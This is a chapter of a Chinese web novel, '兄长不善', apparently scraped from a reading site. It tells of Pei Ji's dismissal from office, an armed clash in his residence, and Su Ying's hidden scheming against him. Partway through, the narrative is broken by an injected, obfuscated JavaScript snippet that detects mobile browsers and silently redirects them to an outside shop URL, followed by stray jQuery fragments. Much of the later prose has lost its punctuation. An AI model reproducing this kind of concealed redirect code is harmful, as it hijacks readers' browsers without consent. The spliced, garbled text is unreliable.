第 68 章 “想不想逃?”

作品:《兄长不善

    窦晏平急急起身。殿中御史李旭,王钦的党羽之一,朝中有名的酷吏,近来朝中一直在弹劾裴羁,李旭此来,只怕是此事有了结果——看样子不像是好结果。


    横身挡在苏樱面前,低声道:“你快些进屋躲躲,情形看着不对。”


    “送娘子回房。”裴羁跟着起身,吩咐侍从。李旭此来,当是带着罢职的旨意,李旭一向跟他不对付,多半会借题发挥,到时候场面决不会平和,得确保她安然无恙才行。


    张用连忙上前来请,苏樱没有走,向裴羁道:“我不走。”


    她不能走,她得留下来弄清楚当下的局势,必要时还得安抚裴羁,进一步取得他的信任,为之后对付他铺好路。“无论发生什么事,我都与你一起。”


    裴羁呼吸一滞,她竟如此爱他!情不自禁握住她的手,语声灼热着:“我无碍,你快回去吧。”


    “哥哥,”苏樱握住他的手,“让我留下陪你吧。”


    哥哥。窦晏平在片刻震惊后,猛地转开了脸。她叫裴羁哥哥,这两个字,曾经是他们耳鬓厮磨时,她在他耳边低声唤的。心里如同刀割,余光里瞥见裴羁拦腰抱起了她。


    “你放开她,”窦晏平脱口叱道,“休要动手动脚!”


    裴羁没有理会,抱着苏樱大步流星往卧房里去,心里灼热到极点,刚一跨进卧房门槛立刻便向她唇边一吻,低声叮嘱:“听话,留在里面别出来,外面太乱,我来应付。”


    轻轻将她放在榻上,带上门出来,听见冰冷一声喊:“裴羁。”


    李旭已经进门了。


    裴羁压眉:“保护娘子。”


    张用立刻率众上前守住,窦晏平飞跑着亦按剑上前,李旭还在往里面走,裴羁快步出去,伸手拦住:“到厅中说话。”


    久居上位的威势让李旭一怔,不由自主便跟他出来,待反应过来时一阵羞恼,方才他看见了,那个让裴羁自毁前程的女子就在里面,来的时候王钦交代过,若是能拿住那女子最好,从此便可将裴羁的命门捏在手中。


    正要推开裴羁,身后门户响动,李旭探头一望。


    裴羁跟着回望,苏樱打开门出来了,张用上前阻拦又被她叱开,她越过重重守护的侍从,快步来到外间门后站住,一双清澈的眸子望着他,坚定,执


    着。


    她是一定要与他一道面对的。他何德何能能得她如此爱护。裴羁深吸一口气压下激荡的心绪对面李旭举起圣旨:“裴羁接旨。”


    厅堂是青石铺的地面冰冷坚硬裴羁撩袍跪地头顶上是黄绢制书上飞腾的云纹李旭展开来高声诵读:“门下:查裴羁德行不修持身不正有狂乱悖德之行无恭敬愧惕之心致使朝野为之侧目物议沸腾。着即革去裴羁魏博宣谕使一职再行处置。”


    门槛内苏樱垂目。这圣旨跟卢崇信说的不一样。卢崇信说过这次弹劾会抓住人伦二字做文章这是重罪一定能让裴羁万劫不复可眼下的制书一个字不曾提到人伦只轻飘飘用了悖德两个字看起来更像是高高举起轻轻放下。


    “裴羁”李旭诵读完“接旨吧。”


    裴羁直身双手接过圣旨:“裴羁领旨谢恩。”


    苏樱看见他无喜无怒一张脸与平日里没有任何两样他仿佛对这个结果早有准备丝毫不曾慌乱。


    “如今你是戴罪之身这四品冠带也就不配戴着。”李旭一点手“来人剥去他的冠带!”


    几个随从立刻就要上前动手吴藏急急上前又被裴羁一个眼神止住他淡淡道:“我自会动手。”


    起身脱下绯衣除去冠带吴藏接住递与李旭的随从另一边侍从早已奉上一件素色常服裴羁接过来从容穿好戴上束发玉冠。


    苏樱沉默地看着心里的异样越来越强烈不会错了


    她虽然不曾把希望全都放在这次弹劾上但也不曾料到这结果竟然对他毫无影响。一时间说不出是恨是怒抑或是别的什么情绪心绪翻腾在低垂眼皮遮住眸中情绪。


    “念念”窦晏平看见李旭一张脸越来越黑必是对裴羁的反应不满想要伺机发作。横身挡在苏樱面前又回头叮嘱“接下来只怕有变故你千万跟着我我来应付。”


    革职戴罪并不算轻裴羁落得这个结果让他既有种罪有应得的痛快又有种说不出的怪异滋味心里还为苏樱的安危担忧。裴羁倒了他那些对头必将不遗余力对付他苏樱必定也会受连累但裴羁倒了魏博的兵力从此不属调


    配,身边只有张用吴藏这些侍卫,他早些日子已经暗中又调来数十名将士,如今人数或还有优势,不如趁乱下手,哪怕硬抢,也一定要带她走。


    “裴羁,”李旭沉着脸,他也曾无数次传旨革职,有几个像裴羁这般从容?根本不曾把他放在眼里!心里恼恨着,厉声道,“你不服本官命令,根本就是藐视圣人,大不敬之罪,来人,拿下他!”


    随从一涌上前动手,吴藏仗剑拦住,裴羁淡淡道:“是非自有公论,也不是你说了算。”


    “那也不是你说了算!”远处一声喊,薛沉打马径直冲进内院,冲到阶前,“裴羁,刚才还对着我们指手画脚耀武扬威的,怎么,一眨眼就丢了官,成阶下囚了?”


    “我早就说他装得道貌岸然,背地里全干的脏事,圣上英明,这官早该撸了!”大笑声中黄周纵马奔来,和薛沉并辔停在阶下,“来人,把裴羁轰出去!”


    数十名牙兵飞跑着跟进来,薛沉狞笑着一指裴羁:“这府第是宣谕使府,裴羁一个罪人也配住在这里?轰他们出去!”


    今天在漳河边他吃了裴羁好一口窝囊气,不,自从裴羁来了魏博,他们就处处掣肘,明里暗里不知道吃他多少窝囊气,先前他高高在上,既是田昱心腹,又是太和帝宠臣,他们不得不忍,如今他丢了官,不趁这时候杀了他,还等什么时候?“要是裴羁胆敢反抗,格杀勿论!”


    牙兵得了命令,拔刀仗剑一涌而上,吴藏带着侍卫牢牢挡住,裴羁回头,看见窦晏平和张用双双拔刀护在苏樱身前,看见苏樱一双妙目微微抬起,慢慢看过场中诸人。


    目光沉着冷静,像高明的棋手,不动声色搜寻着对手的破绽。裴羁心中一凛,骤然想起从前在长安时,他也曾不经意间回头,发现她用这种目光打量着别人。


    这是她心中怀有目的,暗自筹划的神色。难道她,想起来了?


    下一息,她的目光对上他的,脸上骤然露出惊怕,像失了保护的小兽,慌乱着想要寻个依靠:“哥哥,你快些进来吧,外面危险。”


    让他突然一下将那些疑虑全都打消,心里熨帖着点了点头:“我无碍。”


    顿了顿,转向窦晏平:“你护好她。”


    局势太乱,比起张用,她更信任窦晏平,眼下也只能暂时托付窦晏平。


    窦晏平抬眼:“不消你说。


    厅中,牙兵抢上来又被吴藏等人击退,片刻之间已然有伤亡,血花飞溅,窦晏平急急转身,挡住苏樱的视线:“念念,你先回房,外面乱得很。


    苏樱闻到了血腥味,当!不知谁的兵器被打落,紧跟着一声惨叫,又不知是谁是伤还是死。血腥味突然浓起来,视线越过窦晏平,对上裴羁紧绷的目光,他高声道:“晏平,送她回房!


    “放箭!薛沉狞笑着,“格杀勿论!


    不好,若是放箭,玉石俱焚。窦晏平来不及多想,打横抱起苏樱往房里跑,身后一声厉喝:“住手!


    滚滚烟尘中,卢崇信催马飞也似地奔了进来,在阶前一跃而下:“休要惊到我阿姐!


    他的亲兵紧跟在身后冲进来,拔刀拦下薛沉的弓手,卢崇信心跳快如擂鼓,恶狠狠向薛沉道:“敢伤到我阿姐,我要你的命!


    “呸!薛沉并不服他,“一个没卵子的阉人,有你说话的份儿?


    卢崇信苍白的脸上因为羞恼泛起红晕,幽幽笑一声:“李御史,你可听见薛将军说的话?请你回去将这番话,原封不动转告我义父。


    不好!他只顾嘴上痛快,这阉人一句,却是将王钦也骂了进去。薛沉急急辩解:“我不是这个意思,李御史,这等小事,犯不上惊动枢密使他老人家。


    “管不住嘴的,就别说话。卢崇信冷冷横他一眼,“退下!


    薛沉忍着气让开路,卢崇信快步进门,方才情急之下抓了马便奔过来,腐刑的伤口本就不曾长好,想是拉扯到了,疼得额上密密一层汗。穿过剑拔弩张的士兵,迈过地上的尸首和伤者,里间门前张用横刀拦住不让进门,卢崇信抬眼:“姐姐,是我,我来迟了,让你受惊了。


    侍从密密麻麻挡成一堵墙,看不见里面的苏樱,只听见她的回应:“四弟,你进来吧。


    门外,裴羁顿了顿,原是要拦住卢崇信,听见她如此吩咐,也只得抬手让张用放人。心里放不下,急急向门前走了几步,越过重重人影,看见苏樱素色的裙角从窦晏平怀中垂下,窦晏平竟抱着她。一霎时怒恼到极点,厉声道:“窦晏平,放下她!


    人墙里,窦晏平低头,对上苏樱晦涩的眸子,她伸手,似是要抚


    他的脸颊,过去他们情好时,她经常这样轻轻抚着他,心绪激荡着,那手到了眼前又突然缩回去,她轻声道:“我没事的,放我下来吧。”


    心下空落落的,窦晏平沉默着放下她,身后卢崇信越过人墙走进来:“阿姐。”


    今日这结果既在预料,又出乎意料。在意料之中,因为整场弹劾是他暗中鼓动串联,结果也是他的筹划。不在意料,因为他定的罪名是罔顾人伦,强占继妹,人伦二字乃是大防,必能置裴羁于死地,而苏樱作为受害者,按照惯例会由家人领回,崔瑾是卢家的儿媳,那么他就是苏樱的家人,有圣旨在,他带走她,天经地义。


    可这圣旨,丝毫不曾提人伦二字,分明是有意偏袒裴羁。卢崇信低着声音:“姐姐,你再忍耐几日,我再去求义父,一定会带你走。”


    “我不走。”苏樱道,“我与裴郎君夫妻一体,我会留下来陪他。”


    此时心如明镜,卢崇信这一计,败了。裴羁早有安排,他声望既高,人脉又广,必是朝中那些人袒护他,将此事替他按下。看他今天从容的模样,必然还留着后手,她必然是脱不了身的,那就不如继续哄着,再寻机会。


    卢崇信怔了怔,明知道她是为了哄骗裴羁,心里依旧如刀割一般,再忍耐不住,高声道:“裴羁藐视圣旨,乃大不敬之罪,来人,杀了他!”


    亲兵得了命令一涌而上,薛沉与黄周对看一眼,忙也命牙兵加入战团,裴羁快步向门前走,眼下一大半侍从都跟着张用护着苏樱,他身边人手处于劣势,但此时又岂将自己的安危放在心上?心心念念,都只是她。低声嘱咐张用:“若情势不对,立刻带娘子去节度使府。”


    “郎君,”张用急了,“你身边人手不够,让我过去吧!”


    裴羁淡淡一眼瞥过,张用不敢再说,刷一声,窦晏平拔剑:“来人,护卫苏娘子!”


    李春那些人原本在外面待命,此时得令,挤过战团奔进来,窦晏平看了眼裴羁:“念念有我守着,你去忙你的。”


    他虽恨他,但也不想他这么不明不白,死在卢崇信这些人手里。


    “郎君!”张用立刻又出声求恳。


    “保护娘子。”裴羁依旧只是这句话。


    里间加上窦晏平的人手总有六十七个,她必然无虞。至于


    他,他当初做成此计时便把自身也算了进去,这一阵,阵眼是他。


    当!身后一声响,不知是谁的刀磕飞了,直直向他射来,“郎君小心!”吴藏合身扑过来,仗剑磕飞,身后倒影一晃,薛沉一刀劈在他胳膊上:“纳命来!”


    吴藏躲避不及,右手吃了一刀,薛沉大笑着上前:“裴羁,轮到你了!”


    “住手!”大门外又一彪人马冲进来,领头的是江河,“休得伤裴郎君!”


    薛沉听见了,也只当没听见,挥刀只管上前,张用近在咫尺,没有裴羁的命令只是不敢离开苏樱去救,窦晏平余光里瞥见苏樱沉默的脸,拔剑正要上前,外面又是一声喊:“住手!”


    却是田昱的声音:“所有人放下兵刃!”


    飞腾的马蹄声中田午一马当先,似激射的箭,老远便飞身跃上台阶,手中长柄刀重重挥出,叮叮当当一阵乱响,众牙兵手中兵刃纷纷被击落,大门前田昱拍马跃进,厉喝道:“全都住手!”


    田昱来了,必是要护着裴羁,机会失去,就再难杀他。卢崇信拔剑上前,另一边薛沉也怀着这打


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145951|138484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    算,急急挥刀劈下,田午正要来救,田昱突然道:“星魁,拦住他们!”


    李星魁是跟他一道来的,此时骤然得令,不得不从,飞身跃过众人,向薛沉道:“老薛,住手!”


    薛沉手中刀不曾停,李星魁急急拔刀挡住,身后裴羁上前一步,忽地唤了声:“李将军,小心!”


    李星魁下意识回头,薛沉恰在此时不知被谁一推,那刀收不住,一刀劈在李星魁肩头,电光石火之间裴羁急急将李星魁推开,薛沉刀尾拖过,立时在他肩上破开一条口子,鲜血四溅。


    “老薛,你!”李星魁大吃一惊,“裴羁,你!”


    裴羁松开他,肩上血流下来,染红素衣,抬眼,苏樱皱眉正望着他,此时当着人不好说话,便向她点点头以示无事,她红着眼梢,转开了脸。


    “薛将军,”田昱分开人群,快步进来,“星魁是你手足一般,你怎么能对他下手?”


    薛沉想说不知被谁推的,不是有意,但一向傲慢跋扈,岂能认下?冷哼一声:“刀剑无眼,非我本意。”


    “快给裴郎君包扎!”田昱吩咐着,看向李星魁,“这次多亏无羁推你一把,不然就是重伤。”


    李星魁低眼,看见右肩上血流不止,薛沉这一刀挥得重,若不是裴羁推开,说不定这条胳膊就废了。薛沉竟如此辣手!他最多不过拿一个郎将名额,竟然就想废了他!


    一时间又恨又怒,抬眼,薛沉黑着脸并没有道歉的意思,大刀拖在脚边,刀刃上还沾着他的血,李星魁冷哼一声:“刀剑无眼,想来老薛也不是故意的。”


    人墙里,苏樱低头,无声叹一口气。不会错了,今日的一切都是裴羁策划,他根本不在乎罢职,甚至还拿此事做文章,搅得魏博这潭水更乱。


    医士上前给两人包扎,田昱慢慢看过四周:“裴郎君是我的人,这宣谕使府今后还是他住,若再有人敢擅闯骚扰,或者对裴郎君不敬,休怪我不讲情面!”


    卢崇信苍白的脸涨红了,厉声道:“田节度如此袒护一个革职戴罪的犯官,这是哪里的规矩?”


    “我的规矩。”田昱看他一眼,“怎么,卢副使不服?”


    卢崇信咬牙:“我必要将此事上奏陛下!”


    田昱哈哈大笑:“奏吧,尽管奏,不过卢副使,你最好想清楚,这里是我魏博,不是长安深宫!”


    转身离去,在阶前上马:“大节下的,我府中粽子煮了几锅,雄黄酒也备了十几坛,江郎中、李御史、窦刺史,你们都随我回府过节吧,田午,你带亲兵五百,保护裴郎君!”


    田午笑吟吟地收刀:“是。”


    卢崇信深吸一口气,田昱一心袒护,今日必定杀不了裴羁,转头看向苏樱:“姐姐,你再忍耐几日。”


    窦晏平收剑,看了眼阶前站着的田午。她素有骁勇之名,再加上五百亲兵,想要趁乱带走苏樱,几乎是不可能的。裴羁早就算好了一切。


    “无羁,”突然听见江河道,“你先前托我打听窦节度的履历,我查到了。”


    窦晏平心中一跳,抬眼,裴羁不知什么时候进来了,胳膊上的伤只简单包了下,牢牢守在苏樱身前,凤目微扬,看了眼他。


    心中突然就有了不祥的预感,听见江河道:“窦节度升平三年七月自请外放剑南,当时遂王极力反对,窦节度直接面圣求下来的旨意。”


    窦晏平心脏砰的一跳。升平三年七月,父母亲成婚是升平三年六月,他是升平四年四月生人,所以父亲是在


    新婚不久母亲怀着身孕的情况下不顾外祖父的阻拦自请去的剑南?


    裴羁点头伸手挽住苏樱向窦晏平道:“听见了吗?”


    这场婚事里里外外透着古怪必然有蹊跷。


    苏樱看见窦晏平茫然的脸蓦地又想起裴羁的话:这画很可能出自崔瑾之手。上次我说过让你去问你母亲的事你问过了吗?


    裴羁让窦晏平问南川郡主的是什么事?与母亲有什么关系?那根簪子难道真是母亲的画作?


    “窦节度与郡主当年成婚的情由我也查到了”江河看了眼苏樱不得不承认她的确极美连他乍看时也觉得心动神摇无怪乎一向冷心冷情的裴羁为她栽了这么大一个跟头“那年郑滑节度使入京朝觐时麾下牙军哗变乱军在城中烧杀抢掠南川郡主不幸被困


    窦晏平心下越来越凉如此姻缘该当是佳话一桩可父亲从不曾提过就连母亲也只字不提他们在隐瞒什么?


    “江郎中”田昱不见江河跟上回头招呼“走吧。”


    “无羁”江河叹口气裴羁虽然年青但才德威望一向让他们这些年长的都颇为折服若是就此断送了前途如何能让人忍心?“为了保你我和诸位同年多方奔走听闻令尊、令堂还有建安郡王也为此事昼夜不安费尽心力你再想想吧迷途知返犹未为晚。”


    裴羁垂目:“多谢江兄。”


    这回答绝不像是听进去了。江河只得转身离开:“你好自为之。”


    人群如潮水霎时间退了个干净苏樱握着裴羁的手听见窦晏平低低唤她:“念念。”


    抬眼他神情晦涩中带着迷茫:“我有点事先走了。”


    心口堵得死死的苏樱点了点头。他也是为着方才听见的那些消息吧他是生平四年生人也就是说他父亲在新婚中在南川郡主有孕时突然去了剑南。那根簪子疑似母亲的画作他父亲心爱的物件。“你多保重。”


    窦晏平看她露出一个涩涩的笑:“好。”


    “裴郎君伤口还需要清创上药”大夫等了多时始终不见裴羁过去处理伤口不得不上前来请“请郎君随我过来一下。”


    裴羁淡淡道:“不急。”


    眼下这边还没收拾完他不放心留她一个人。


    “快去吧”苏樱轻轻推他一下“耽搁不得。”


    “裴三郎”田午提着刀大步流星走过来“娇娘我替你看着一根头发丝儿都不会让她少赶紧去吧。”


    “去吧。”苏樱又推他一下。


    裴羁也只能出去外间回头田午低着头正跟苏樱说话声音太小并不能听见。


    里间耳边响起田午低沉沙哑的声:“想不想逃?”


    苏樱心中一跳抬眼田午向她一笑:“我帮你。”


    作者有话要说